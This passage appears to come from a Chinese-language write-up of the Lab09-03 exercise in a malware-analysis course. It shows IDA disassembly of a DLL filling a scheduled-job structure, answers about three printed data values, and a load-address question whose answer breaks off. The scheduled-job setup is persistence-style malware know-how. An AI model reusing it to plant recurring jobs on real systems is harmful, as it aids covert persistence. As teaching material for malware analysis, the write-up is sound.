.text:1000100D push offset WideCharStr ; lpWideCharStr
.text:10001012 push 0FFFFFFFFh ; cbMultiByte
.text:10001014 mov eax, [ebp+lpMultiByteStr]
.text:10001017 push eax ; lpMultiByteStr
.text:10001018 push 0 ; dwFlags
.text:1000101A push 0 ; CodePage
.text:1000101C call ds:MultiByteToWideChar
.text:10001022 mov stru_1000B0A0.Command, offset WideCharStr
.text:1000102C mov stru_1000B0A0.JobTime, 36EE80h
.text:10001036 mov stru_1000B0A0.DaysOfMonth, 0
.text:10001040 mov stru_1000B0A0.DaysOfWeek, 7Fh
.text:10001047 mov stru_1000B0A0.Flags, 11h

Q7:在运行或调试Lab09-03.exe时,你会看到Lab09-03.exe打印出三块神秘数据。DLL 1的神秘数据,DLL 2的神秘数据,DLL 3的神秘数据分别是什么?

  1. 神秘数据1:当前程序的进程号;
  2. 神秘数据2:是打开”temp.txt”的句柄值;
  3. 神秘数据3:一段字符串 “ping www.malwareanalysisbook.com” 的存储地址;

Q8:如何将DLL2.dll加载到IDA Pro中,使得它与OllyDbg使用的加载地址匹配?

加载时手动更改即可: